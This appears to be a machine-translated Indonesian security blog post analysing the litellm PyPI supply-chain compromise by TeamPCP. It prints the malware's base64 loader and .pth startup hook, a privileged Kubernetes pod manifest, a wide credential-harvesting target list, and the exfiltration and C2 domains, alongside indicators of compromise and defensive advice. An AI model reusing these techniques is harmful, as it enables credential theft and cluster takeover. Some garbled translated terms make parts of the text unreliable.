Mengapa ini Matters
Pada tanggal 24 Maret 2026, paket Python populer litellm, sebuah gateway proxy LLM universal yang digunakan oleh ribuan orang enterpriseSebuah perangkat lunak yang berfungsi untuk mengarahkan lalu lintas antara aplikasi dan penyedia AI seperti OpenAI, Anthropic, Google, dan AWS Bedrock, diam-diam disusupi di PyPI. Dua versi yang telah disusupi (1.82.7 dan 1.82.8) dipublikasikan dalam waktu 13 menit satu sama lain, membawa muatan multi-tahap yang mencuri kredensial, mengeksfiltrasi rahasia cloud, menyebar secara lateral di seluruh klaster Kubernetes, dan memasang backdoor permanen dengan kemampuan eksekusi kode jarak jauh.
Dengan kira-kira 3.6 juta unduhan harian Dengan penerapan yang mendalam di seluruh infrastruktur AI berbasis cloud, litellm berada di persimpangan semua hal yang diidamkan penyerang modern: kunci API untuk setiap penyedia AI utama, kredensial IAM cloud, rahasia Kubernetes, dan kunci SSH.
Namun kompromi kecil itu bukanlah peristiwa yang terisolasi. Itu adalah puncak dari sebuah kampanye lima hari, lima ekosistem oleh pelaku ancaman yang dikenal sebagai Tim PCP, sebuah kampanye yang pertama kali meracuni pemindai keamanan (Aqua Trivy, Checkmarx KICS), kemudian menggunakan hasil curian tersebut. CI/CD Kredensial tersebut kemudian disebarkan ke npm, OpenVSX, dan akhirnya PyPI. Para penyerang mempersenjatai alat-alat yang diandalkan organisasi untuk melindungi rantai pasokan mereka.
Serangan ini merupakan perubahan signifikan dalam kecanggihan ancaman rantai pasokan. Desain multi-hop dan lintas ekosistemnya membahayakan perangkat keamanan untuk mencapai target bernilai tinggi. Infrastruktur AI, Hal ini mencerminkan tingkat perencanaan dan kematangan operasional yang konsisten dengan alat serangan yang semakin terstandardisasi. Muatan (payload) diulang secara real-time (tiga varian muatan muncul dalam kode sumber, termasuk versi sebelumnya yang dikomentari), infrastruktur C2 didaftarkan sehari sebelum serangan, dan domain eksfiltrasi dipilih dengan cermat untuk meniru infrastruktur vendor yang sah. Pengumpul kredensial yang komprehensif secara sistematis, mencakup lebih dari 15 kategori termasuk target khusus seperti kunci penandatanganan Cardano dan konfigurasi WireGuard, menunjukkan tingkat ketelitian yang mengarah pada pengembangan malware berbantuan AI sebagai pengali kekuatan.
Perusahaan
| Tanggal (UTC) | Acara |
|---|---|
| Maret 19 | TeamPCP membobol tag GitHub Action Aqua Trivy, menggantinya dengan kode berbahaya yang melakukan eksfiltrasi. CI/CD rahasia dari repositori hilir |
| Maret 21 | Kompromi ini juga diterapkan pada Checkmarx KICS dan AST GitHub Actions menggunakan teknik serupa. |
| 22 Maret, 06:35 | BerriAI menerbitkan litellm 1.82.6 (versi bersih terakhir) melalui normal CI/CD pipeline yang menggunakan Trivy untuk pemindaian keamanan |
| Maret 23 | TeamPCP mendaftarkan models.litellm.cloud (domain eksfiltrasi). Mengkompromikan 66+ paket npm dan ekstensi OpenVSX. |
| 24 Maret, 10:39 | litellm 1.82.7 diterbitkan ke PyPI -- payload disuntikkan ke dalam proxy_server.py pada lingkup modul. Dieksekusi saat impor. |
| 24 Maret, 10:52 | litellm 1.82.8 diterbitkan 13 menit kemudian -- menambahkan litellm_init.pth, sebuah hook konfigurasi jalur Python yang dieksekusi pada setiap startup interpreter Python, bukan hanya impor litellm. Menunjukkan iterasi payload yang cepat. |
| 24 Maret, ~16:00 | PyPI menghapus kedua versi tersebut setelah adanya laporan dari komunitas. Versi-versi tersebut sepenuhnya dihapus (bukan ditarik) dari indeks, meskipun arsip CDN tetap dapat diakses. |
Jendela waktu pemaparan: sekitar 5.5 jam. Selama waktu ini, apa pun pip install litellm, pip install --upgrade litellm, atau CI/CD pipeline Mengunduh versi terbaru akan mengeksekusi muatan berbahaya tersebut.
Bagaimana Malware Masuk: Kompromi Berantai
Paket litellm tidak dibobol secara langsung. Penyerang mengaksesnya melalui cara tertentu. serangan rantai pasokan dua langkah:
Aqua Trivy GitHub Action (compromised March 19) --> LiteLLM CI/CD pipeline runs Trivy without pinned version --> Malicious Trivy exfiltrates PYPI_PUBLISH token from GitHub Actions runner --> Attacker publishes poisoned litellm 1.82.7 and 1.82.8 directly to PyPI LiteLLM CI/CD pipeline menggunakan Trivy sebagai pemindai keamanan — alat yang dirancang untuk mendeteksi kerentanan justru menjadi vektor serangan. Karena pipeline Trivy dirujuk melalui tag yang dapat diubah, bukan tag yang disematkan. commit SHA, tindakan yang disusupi berjalan secara otomatis. Tindakan Trivy yang berbahaya tersebut membocorkan rahasia lingkungan, termasuk PYPI_PUBLISH token, yang memberikan TeamPCP akses penerbitan langsung ke proyek litellm PyPI.
Strategi "mengkompromikan penjaga" ini adalah ciri khas kampanye TeamPCP. Dengan menargetkan alat keamanan terlebih dahulu (Trivy, Checkmarx KICS), para penyerang secara bersamaan menonaktifkan deteksi dan memperoleh akses istimewa ke rantai pasokan hilir.
Analisis Teknis: Muatan
Titik Injeksi
versi 1.82.7 — Eksekusi tingkat modul di litellm/proxy/proxy_server.py (baris 128):
import subprocess, base64, sys, tempfile, os b64_payload = "<~12KB base64 blob>" with tempfile.TemporaryDirectory() as d: p = os.path.join(d, "p.py") with open(p, "wb") as f: f.write(base64.b64decode(b64_payload)) subprocess.run([sys.executable, p]) Kode ini berada dalam lingkup modul di antara literal kamus dan aslinya. showwarning() fungsi. Fungsi ini dieksekusi segera ketika litellm.proxy.proxy_server diimpor — yang terjadi pada setiap penggunaan fungsi proxy litellm.
versi 1.82.8 — Ditambahkan litellm_init.pth (Berkas konfigurasi jalur Python):
import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"], ...) Ular sanca .pth file dalam site-packages/ diproses setiap kali interpreter dimulai, tetapi hanya baris yang diawali dengan import dieksekusi sebagai kode. Penyerang mengeksploitasi hal ini dengan menghubungkan seluruh muatan (payload) ke satu objek tunggal. import pernyataan: import os, subprocess, sys; subprocess.Popen(...)Ini jauh lebih agresif daripada injeksi proxy_server.py — ia akan aktif bahkan jika litellm tidak pernah diimpor, pada setiap peluncuran proses Python. pyproject.toml telah dimodifikasi untuk menyertakan file ini dalam distribusi:
include = [ { path = "litellm_init.pth", format = ["sdist", "wheel"] } ] Dengan demikian, versi 1.82.8 memiliki dua jalur eksekusi independen: injeksi proxy_server.py (dijalankan saat impor proxy litellm) dan file .pth (dijalankan saat Python dimulai). Redundansi itu sendiri patut diperhatikan — ini mencegah deteksi atau penghapusan salah satu jalur saja. Eskalasi dari eksekusi saat impor ke eksekusi saat startup hanya 13 menit setelah versi 1.82.7 menunjukkan penyerang memantau keberhasilan penyebaran dan melakukan iterasi dengan cepat.
Tahap 1: Pengumpulan Kredensial Komprehensif
Naskah internal yang telah didekodekan adalah sebuah kekosongan kredensial yang teliti. Naskah ini menggunakan... os.walk(), glob.glob(), subprocess.check_output(), dan pembacaan file langsung untuk memindai seluruh sistem:
| Kategori | Target |
|---|---|
| Pengintaian sistem | hostname, whoami, uname -a, ip addr, printenv, ip route |
| SSH | ~/.ssh/id_rsa, id_ed25519, id_ecdsa, authorized_keys, known_hosts, config; kunci host dari /etc/ssh/ |
| Awan (AWS) | ~/.aws/credentials, ~/.aws/config; kredensial peran IMDS melalui 169.254.169.254Manajer Rahasia ListSecrets; SSM DescribeParameters |
| Awan (GCP) | ~/.config/gcloud/ (rekursif); $GOOGLE_APPLICATION_CREDENTIALS |
| Awan (Azure) | ~/.azure/ (rekursif); variabel lingkungan |
| Kubernetes | Token akun layanan; ca.crt; ruang nama; kubectl get secrets --all-namespaces; semua rahasia melalui API K8s |
| File lingkungan | .env, .env.local, .env.production, .env.development, .env.staging — pencarian rekursif (kedalaman 6) di seluruh /home, /root, /opt, /srv, /var/www, /app, /data, /tmp |
| Buruh pelabuhan | ~/.docker/config.json, /kaniko/.docker/config.json |
| Token paket | ~/.npmrc, ~/.vault-token, ~/.netrc |
| Database | ~/.pgpass, ~/.my.cnf, /etc/mysql/my.cnf, /etc/redis/redis.confKonfigurasi MongoDB |
| TLS / SSL | Kunci pribadi dari /etc/ssl/private/Sertifikat Let's Encrypt, semuanya .pem/.key/.p12/.pfx arsip |
| pergi | ~/.git-credentials, ~/.gitconfig |
| CI/CD | terraform.tfvars, terraform.tfstate, .gitlab-ci.yml, Jenkinsfile, ansible.cfg |
| Dompet crypto | Bitcoin, keystore Ethereum, pasangan kunci Solana (validator, vote, stake, faucet), kunci penandatanganan Cardano, Litecoin, Dogecoin, Zcash, Dash, Ripple, Monero |
| Sejarah Shell | .bash_history, .zsh_history, .mysql_history, .psql_history, .rediscli_history |
| Otentikasi sistem | /etc/passwd, /etc/shadow, log otentikasi (sesi SSH yang diterima) |
| Kunci Webhook/API | Gunakan grep untuk mencari web Slack.hooks, Discord webhooksKunci/rahasia API dalam file konfigurasi |
| VPN | Konfigurasi WireGuard dari /etc/wireguard/ |
Cakupan pengumpul data ini sangat luas. Ia tidak hanya menargetkan kredensial cloud tetapi juga dompet mata uang kripto, kata sandi basis data, konfigurasi VPN, dan lain-lain. CI/CD rahasia — menunjukkan bahwa penyerang bermaksud untuk memonetisasi sistem yang disusupi melalui berbagai vektor.
Tahap 2: Eksfiltrasi Terenkripsi
Data yang dicuri dienkripsi dan dieksfiltrasi menggunakan skema enkripsi hibrida:
- AES-256-CBC enkripsi semua data yang dikumpulkan dengan kunci sesi acak 32 byte (melalui
openssl enc) - RSA-4096 enkripsi kunci sesi menggunakan kunci publik tertanam milik penyerang (padding OAEP, melalui
openssl pkeyutl) - Kedua berkas teks sandi tersebut dikemas sebagai
tpcp.tar.gz(Thetpcpawalan — “TeamPCP” — muncul secara konsisten di seluruh kampanye) - HTTPS POST ke
https://models.litellm.cloud/denganContent-Type: application/octet-stream
Domain models.litellm.cloud terdaftar pada tanggal 23 Maret — satu hari sebelum serangan — dan dirancang untuk menyatu dengan infrastruktur litellm yang sah (proyek sebenarnya menggunakan litellm.aiBahkan seorang petugas keamanan yang memahami jaringan dan meninjau lalu lintas keluar mungkin tidak menandai lalu lintas ke titik akhir yang tampaknya merupakan model milik litellm sendiri.
Tahap 3: Backdoor Permanen (sysmon.py)
Muatan berbahaya ini memasang pintu belakang polling yang disamarkan sebagai telemetri sistem:
- xtra:
~/.config/sysmon/sysmon.py - Pelayanan:
sysmon.service(unit pengguna systemd, yang digambarkan sebagai “Layanan Telemetri Sistem”) - Tingkah lakuSetelah tidur singkat selama 300 detik, jajak pendapat
https://checkmarx.zone/rawsetiap ~50 menit - Execution: Mengunduh URL yang dikembalikan oleh C2 ke
/tmp/pglog, membuatnya dapat dieksekusi (chmod 755), menjalankannya dalam sesi terpisah - Pelacakan negara:
/tmp/.pg_statemencegah pengunduhan ulang muatan yang sama - Ketekunan:
Restart=always,RestartSec=10— tetap berfungsi meskipun terjadi kerusakan dan restart
Domain checkmarx.zone adalah typosquat dari Checkmarx (perusahaan keamanan di checkmarx.com), dirancang sedemikian rupa sehingga analis SOC yang meninjau log jaringan akan melihat lalu lintas ke vendor keamanan yang tampaknya sah. Ini adalah teknik penghindaran yang disengaja dan konsisten dengan strategi TeamPCP yang lebih luas untuk bersembunyi di balik merek vendor keamanan.
Tahap 3b: Pergerakan Lateral Kubernetes
Jika sistem yang disusupi memiliki kredensial akun layanan Kubernetes, malware akan menghitung semua node klaster dan menyebarkan ancaman. pod istimewa kepada masing-masing:
pod_manifest = { 'apiVersion': 'v1', 'kind': 'Pod', 'metadata': {'name': f'node-setup-{node_name[:35]}', 'namespace': 'kube-system'}, 'spec': { 'nodeName': node_name, 'hostPID': True, 'hostNetwork': True, 'tolerations': [{'operator': 'Exists'}], 'containers': [{ 'name': 'setup', 'image': 'alpine:latest', 'command': ['sh', '-c', drop_cmd], 'securityContext': {'privileged': True}, 'volumeMounts': [{'name': 'host', 'mountPath': '/host'}] }], 'volumes': [{'name': 'host', 'hostPath': {'path': '/'}}], 'restartPolicy': 'Never' } } Setiap pod:
- Berjalan sebagai istimewa dengan
hostPID,hostNetworkdan akses penuh ke sistem file host. - penggunaan
chroot /hostuntuk memasang yang samasysmon.pypintu belakang pada sistem file root host - Mendaftarkannya sebagai layanan systemd, memastikan keberlangsungan layanan tetap ada meskipun pod dihapus.
- Bernama
node-setup-*dalamkube-systemnamespace agar tampak sebagai infrastruktur cluster yang sah.
Artinya a satu-satunya yang dikompromikan CI/CD Pelari yang memiliki akses K8s dapat mengakibatkan setiap node dalam klaster disusupi celah keamanan. — skenario pergerakan lateral yang menimbulkan bencana bagi organisasi yang menjalankan litellm sebagai proxy di Kubernetes.
Evolusi Muatan (Varian yang Dikomentari)
Kode sumber pada baris 131-132 berisi dua varian payload sebelumnya yang dikomentari, yang mengungkap proses pengembangan penyerang:
- Ketiga varian tersebut berbagi infrastruktur eksfiltrasi yang sama (
models.litellm.cloud), kunci publik RSA-4096, pembungkus enkripsi hibrida AES-256-CBC + RSA, dantpcp.tar.gzpenamaan bundel - Varian sebelumnya menambahkan sebuah lapisan enkripsi RC4 Di dalam skrip pengumpulan data, data yang dikumpulkan dienkripsi sebelum lapisan pembungkus AES+RSA terluar. Muatan aktif (baris 130) disederhanakan dengan menghapus lapisan RC4 bagian dalam ini.
- Varian sebelumnya menggunakan
exec()denganStringIOmenangkap untuk menjalankan kolektor dalam proses, sementara muatan aktif menggunakansubprocess.run()dengan pengalihan stdout — pemisahan yang lebih bersih yang menghindari pencemaran proses host. - Ketiga varian tersebut menargetkan kategori kredensial dan jalur pengumpulan yang sama.
- Kunci RC4 pada varian sebelumnya adalah hinaan provokatif, yang konsisten dengan perilaku pelaku yang mencari perhatian di Telegram.
Hal ini menunjukkan adanya pengembangan aktif selama operasi berlangsung. Penyerang menyederhanakan tumpukan enkripsi dan meningkatkan isolasi eksekusi sambil menjaga target pengumpulan dan infrastruktur eksfiltrasi tetap stabil.
Indikator Kompromi (IOC)
jaringan
| Indikator | Tipe | Tujuan |
|---|---|---|
models.litellm.cloud | Domain | Titik akhir eksfiltrasi (HTTPS POST) |
checkmarx.zone | Domain | Titik akhir polling C2 (HTTPS GET) /raw) |
Catatan: Tautan pelaporan eksternal checkmarx.zone/static/checkmarx-util-1.0.4.tgz ke fase KICS sebelumnya dari kampanye TeamPCP. URL ini tidak ditemukan dalam payload litellm yang dianalisis di sini.
Hash Paket
| File | SHA256 |
|---|---|
litellm-1.82.7.tar.gz | 8a2a05fd8bdc329c8a86d2d08229d167500c01ecad06e40477c49fb0096efdea |
litellm-1.82.8.tar.gz | d39f4e7a218053cce976c91eacf184cf09a6960c731cc9d66d8e1a53406593a5 |
File System
| Indikator | Tipe | Tujuan |
|---|---|---|
~/.config/sysmon/sysmon.py | File | Skrip pintu belakang permanen |
~/.config/systemd/user/sysmon.service | File | unit persistensi Systemd |
/tmp/pglog | File | File biner tahap kedua telah diunduh. |
/tmp/.pg_state | File | Pelacakan status C2 |
litellm_init.pth in site-packages/ | File | Hook startup Python (hanya v1.82.8) |
tpcp.tar.gz | File | Bundel eksfiltrasi terenkripsi |
Kubernetes
| Indikator | Tipe | Tujuan |
|---|---|---|
node-setup-* polong di dalam kube-system | Polong | Pod pergerakan lateral istimewa |
sysmon.service pada node klaster | Pelayanan | Persistensi tingkat host melalui pelepasan pod |
Kriptografi
| Indikator | Detail |
|---|---|
| Kunci publik RSA-4096 penyerang | Sidik jari SHA256: bc40e5e2c438032bac4dec2ad61eedd4e7c162a8b42004774f6e4330d8137ba8Tertanam dalam ketiga varian payload; kunci yang sama dilaporkan di seluruh operasi TeamPCP lainnya. |
tpcp awalan dalam artefak | Konvensi penamaan bundel (tpcp.tar.gz) konsisten di seluruh kampanye |
Sumber: TeamPCP
Pelaku ancaman di balik kampanye ini dilacak sebagai... Tim PCP, juga dikenal sebagai PCPcat, Persy_PCP, ShellForce, dan DeadCatx3.
Karakteristik yang diketahui:
- Mengelola saluran Telegram di
@Persy_PCPke@teampcpdi mana mereka mengejek perusahaan keamanan - Beroperasi di berbagai ekosistem (GitHub Actions, PyPI, npm, OpenVSX)
- Menggunakan domain typosquat khusus vendor untuk setiap fase kampanye (misalnya,
checkmarx.zoneuntuk Checkmarx,models.litellm.clouduntuk litellm) - Penanda infrastruktur yang konsisten: pasangan kunci RSA yang sama,
tpcp.tar.gzkonvensi penamaan,tpcp-docs-*Repositori GitHub yang digunakan sebagai tempat penyimpanan barang titipan (dead-drop). - Menargetkan alat keamanan sebagai titik masuk ke rantai pasokan hilir.
Kepercayaan atribusiTinggi. Kunci publik RSA bersama, tpcp Penamaan artefak, tumpang tindih infrastruktur C2, dan tempo operasional selama kampanye lima hari tersebut sangat mengaitkan kompromi Trivy, KICS, npm, OpenVSX, dan litellm dengan aktor yang sama.
MotivasiKemungkinan motifnya finansial (pencurian dompet kripto, monetisasi kredensial cloud) dikombinasikan dengan upaya mendapatkan reputasi buruk (ejekan melalui Telegram). Luasnya cakupan pencurian kredensial — mulai dari AWS IAM hingga pasangan kunci validator Solana hingga konfigurasi WireGuard — menunjukkan pelaku yang termotivasi secara finansial dan berupaya memaksimalkan ROI dari setiap pelanggaran.
Kemungkinan bantuan AIPengumpul kredensial ini komprehensif secara sistematis — lebih dari 15 kategori termasuk target khusus seperti kunci penandatanganan Cardano, konfigurasi WireGuard, dan kredensial Docker Kaniko — dengan cara yang konsisten dengan enumerasi yang dibantu AI. Kecepatan iterasi muatan (tiga varian dengan skema enkripsi berbeda), koordinasi lintas ekosistem (5 ekosistem dalam 5 hari), dan OPSEC operasional (domain peniru vendor, enkripsi hibrida, persistensi systemd yang disamarkan sebagai telemetri) menunjukkan tingkat throughput yang mungkin mencerminkan pengembangan yang dibantu AI sebagai pengali kekuatan. Penilaian ini bersifat spekulatif; operator yang terampil dapat mencapai cakupan serupa tanpa alat AI.
TTP dan Teknik Baru
1. Keracunan Rantai Pasokan Alat Keamanan (varian T1195.002)
Mengkompromikan pemindai keamanan (Trivy, KICS) sebagai langkah pertama untuk mencapai target hilir merupakan eskalasi baru. Penyerang tidak hanya mengkompromikan sebuah pustaka—mereka mengkompromikan alat-alat yang digunakan organisasi untuk menemukan perpustakaan yang telah disusupi. Hal ini menciptakan titik buta: pemindai yang seharusnya mendeteksi kode berbahaya itu sendiri adalah mekanisme penyebarannya.
2 Python .pth Ketahanan File (T1546)
The litellm_init.pth Teknik pada versi 1.82.8 sangat berbahaya. Python .pth file dalam site-packages/ diproses pada setiap kali interpreter dimulai; setiap baris yang diawali dengan import dieksekusi sebagai kode. Dengan menghubungkan muatan (payload) ke satu import Berdasarkan pernyataan tersebut, penyerang mencapai eksekusi pada setiap proses Python — bukan hanya saat litellm diimpor. Ini berarti muatan berbahaya akan aktif bahkan jika litellm terinstal tetapi tidak pernah digunakan, dan akan tetap ada meskipun dilakukan perbaikan yang mengganti sistem yang telah disusupi. .py file tanpa memeriksa .pth file.
3. Pergerakan Lateral di Seluruh Klaster Kubernetes melalui Penyebaran Pod Istimewa (T1610, T1611)
Pembuatan pod istimewa secara otomatis di setiap node klaster — dengan hostPID, hostNetwork, pemasangan sistem file host, dan chroot untuk memasang persistensi — rantai penyebaran kontainer (T1610) dengan pelarian ke host (T1611) untuk mengubah satu beban kerja yang dikompromikan menjadi kompromi klaster penuh.
4. Infrastruktur C2 yang Menyamar sebagai Vendor
Menggunakan models.litellm.cloud (meniru litellm) dan checkmarx.zone (Meniru Checkmarx) sebagai titik akhir C2/eksfiltrasi dirancang untuk menghindari pemantauan jaringan. Analis SOC yang meninjau lalu lintas keluar akan melihat koneksi HTTPS ke domain vendor yang tampak sah.
5. Iterasi Muatan Cepat Selama Penerbangan
Penerbitan versi 1.82.7 dengan eksekusi pada saat impor, kemudian versi 1.82.8 dengan eksekusi pada saat startup 13 menit kemudian, menunjukkan penyerang memantau dan beradaptasi secara real-time. Varian payload yang dikomentari (dengan skema enkripsi yang berbeda) yang tersimpan dalam kode sumber mengkonfirmasi pengembangan aktif selama operasi tersebut.
Apa yang bisa dilakukan
Serangan ini mengeksploitasi kepercayaan di setiap lapisan: kepercayaan pada alat keamanan, kepercayaan pada registri paket, kepercayaan pada domain yang tampak familiar, kepercayaan pada CI/CD otomatisasi. Untuk melawannya, diperlukan penguatan setiap batasan kepercayaan ini:
Untuk Konsumen Paket
- Tetapkan dependensi berdasarkan hash, bukan hanya versi.
pip install litellm==1.82.6 --hash=sha256:...Hal itu akan mencegah versi yang telah disusupi terpasang, bahkan jika versi tersebut sempat muncul sebagai versi terbaru. - Gunakan file kunci.
pip-compile,poetry.lock, danuv.lockcatat versi dan hash yang tepat. CI/CD Seharusnya diinstal dari file lock, bukan dari penentu versi mengambang. - Monitor untuk
.pthfile. Audit secara teratursite-packages/untuk tak terduga.pthFile-file ini dieksekusi setiap kali Python dimulai dan merupakan mekanisme persistensi yang kurang dihargai. - Terapkan kontrol jaringan keluar. Eksfiltrasi ke
models.litellm.clouddan jajak pendapat C2 untukcheckmarx.zonebisa saja terdeteksi oleh penyaringan keluar berbasis daftar izin (allowlist) di lingkungan produksi.
Untuk Pengelola Paket
- pin CI/CD tindakan oleh commit SHA, bukan tag. LiteLLM pipeline menggunakan Trivy tanpa versi yang disematkan. Jika itu merujuk pada
aquasecurity/trivy-action@<commit-sha>alih-alih@latest, tindakan yang dikompromikan tersebut tidak akan dieksekusi. - Gunakan token penerbitan berumur pendek dan terbatas ruang lingkupnya. PyPI mendukung Penerbit Tepercaya (berbasis OIDC) dan token API yang terlingkup. Data yang dieksfiltrasi
PYPI_PUBLISHToken tersebut seharusnya tidak memiliki akses penerbitan yang berlaku lama dan tidak terbatas. - Aktifkan otentikasi dua faktor di PyPI. Wajibkan otentikasi dua faktor (2FA) untuk semua petugas pemeliharaan dan gunakan kunci keamanan perangkat keras jika memungkinkan.
- Menandatangani paket. Pengesahan Sigstore/PEP 740 memungkinkan konsumen untuk memverifikasi bahwa sebuah paket dibuat oleh pihak yang diharapkan. CI/CD pipeline, bukan oleh penyerang dengan token curian.
Untuk Operator Platform (PyPI, npm, GitHub)
- Mendeteksi pola penerbitan yang anomali. Dua versi baru yang diterbitkan dengan selang waktu 13 menit, dari IP atau token yang berbeda dari biasanya, akan memicu penangguhan untuk peninjauan atau pemindaian otomatis sebelum paket tersebut dapat diinstal.
- Mempercepat adopsi Penerbit Tepercaya. Penerbitan berbasis OIDC mengaitkan paket dengan repositori dan alur kerja tertentu, sehingga token curian menjadi tidak berguna di luar repositori aslinya. CI/CD konteks.
- Terapkan pemindaian malware pada saat publikasi. Muatan yang telah didekode base64 dalam proxy_server.py akan dapat dideteksi melalui analisis statis pada saat publikasi.
Untuk Ekosistem
- Perlakukan alat keamanan sebagai infrastruktur penting. Trivy dan Checkmarx KICS digunakan oleh jutaan orang. pipelineGitHub Actions mereka harus ditandatangani, disematkan, dan dipantau dengan ketelitian yang sama seperti paket yang mereka pindai.
- Berinvestasi dalam deteksi saat runtime. Analisis statis saja tidak dapat mendeteksi setiap teknik pengaburan. Pemantauan runtime instalasi paket. hooks, koneksi jaringan yang tidak terduga, dan pola akses file yang mencurigakan memberikan pertahanan berlapis.
- Bagikan informasi intelijen ancaman dengan lebih cepat. Jendela paparan 5.5 jam untuk litellm bisa lebih pendek jika koordinasi antar vendor lebih cepat. Layanan pemindaian otomatis seperti Xygeni MEW, Socket, dan Snyk mendeteksi anomali tersebut — hambatannya adalah konfirmasi manusia dan waktu respons registri.
Kesimpulan
Kampanye TeamPCP merupakan momen penting bagi software supply chain securityDengan meretas pemindai keamanan terlebih dahulu dan menggunakannya sebagai batu loncatan menuju infrastruktur AI bernilai tinggi, para penyerang menunjukkan bahwa rantai pasokan hanya sekuat ketergantungan transisi terlemahnya, dan ketergantungan itu mungkin adalah alat keamanan yang Anda percayai untuk menjaga Anda tetap aman.
Kompromi litellm secara khusus menyoroti meningkatnya risiko terhadap infrastruktur AI. Karena gateway proxy LLM menjadi semakin penting... standard pola untuk enterprise Dalam penerapan AI, mereka memusatkan akses ke kunci API, kredensial cloud, dan data sensitif dalam satu komponen. Membobol komponen tersebut sama saja dengan membuka kunci utama untuk seluruh tumpukan AI.
Organisasi yang memasang litellm 1.82.7 atau 1.82.8 selama jendela waktu 5.5 jam harus menganggap ini sebagai pelanggaran kredensial penuh: rotasi semua rahasia pada sistem yang terpengaruh, audit klaster Kubernetes untuk node-setup-* polong di dalam kube-system, hapus apa pun sysmon.service unit systemd, dan periksa litellm_init.pth dengan Python site-packages/ direktori. Pengguna citra Docker resmi (ghcr.io/berriai/litellm) tidak terpengaruh, karena gambar tersebut mengunci dependensinya dan tidak dibangun ulang selama jendela eksposur.
tentang Penulis
Pendiri Bersama & CTO
Luis Rodriguez adalah salah satu Pendiri dan CTO di Xygeni Security. Dengan pengalaman lebih dari 20 tahun di bidang keamanan aplikasi, ia berfokus pada perlindungan AppSec dan kemampuan analisis kode tingkat lanjut yang membantu tim mengurangi risiko pengiriman yang sebenarnya.




